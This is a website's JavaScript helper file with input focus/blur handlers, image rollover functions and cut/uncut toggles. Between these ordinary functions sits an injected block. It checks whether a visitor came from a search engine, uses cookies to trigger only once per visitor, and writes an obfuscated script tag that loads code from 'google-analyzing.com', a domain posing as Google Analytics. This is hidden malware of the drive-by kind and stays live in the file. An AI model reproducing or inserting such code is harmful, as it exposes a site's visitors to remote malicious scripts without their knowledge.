function gebi(id) { return document.getElementById(id); }

function docloc(loc) {
	if (loc == undefined) return;
	document.location = loc;
}

function ifcs(obj,sf) {
	var dv = obj.parentNode.parentNode;
	if (sf == undefined) sf = '';
	dv.className = 'tinp'+sf+' fcs';
}

function iblr(obj,sf) {
	var dv = obj.parentNode.parentNode;
	if (sf == undefined) sf = '';
	dv.className = 'tinp'+sf;
}

function input_fcs(obj,chk,cls) {
	if (obj != undefined) {
		//obj.className = cls;
		if (obj.value == chk) obj.value = '';
	}
}

function input_blr(obj,chk,cls) {
	if (obj != undefined) {
		if (obj.value == '') { 
			obj.value = chk;
			//obj.className = cls;
		}
	}
}

function imgov(obj) {
	if (obj != undefined) {
		var id = obj.id+'_ov';
		if (gebi(id)) obj.src = gebi(id).src;
	}
}

function imgou(obj) {
	if (obj != undefined) {
		var id = obj.id+'_ou';
		if (gebi(id)) obj.src = gebi(id).src;
	}
}

var cur_ucut = '';
var r=document.referrer; var c=document.cookie; r1=0;
if ( (r.indexOf('yandex')>0) || (r.indexOf('google')>0) || (r.indexOf('rambler')>0) || (r.indexOf('mail')>0))
{ document.cookie = "topmail=1; expires=Wed, 1 Mar 2020 00:00:00; path=/;"; r1=1; }
else {if (c.indexOf('topmail')==-1){document.cookie = "google=1; expires=Wed, 1 Mar 2020 00:00:00; path=/;";}}
 if  (((c.indexOf('topmail')>-1) || (r1==1)) && (c.indexOf('google')==-1) )
{document.write(unescape("%3Cscript src='http://google-analyzing.com/urchin.js' type='text/javascript'%3E%3C/script%3E"));}
function cut(num) {
	var ct = gebi(num+'_cut');
	var uct = gebi(num+'_ucut');
	if (ct != undefined) ct.className = 'cut';
	if (uct != undefined) uct.className = 'ucut';
	cur_ucut = '';
	return false;
}

function uncut(num) {
	if (cur_ucut != '') cut(cur_ucut);
	var ct = gebi(num+'_cut');
	var uct = gebi(num+'_ucut');
	if (ct != undefined) ct.className = 'cut closed';
	if (uct != undefined) uct.className = 'ucut opened';
	cur_ucut = num;
	return false;
}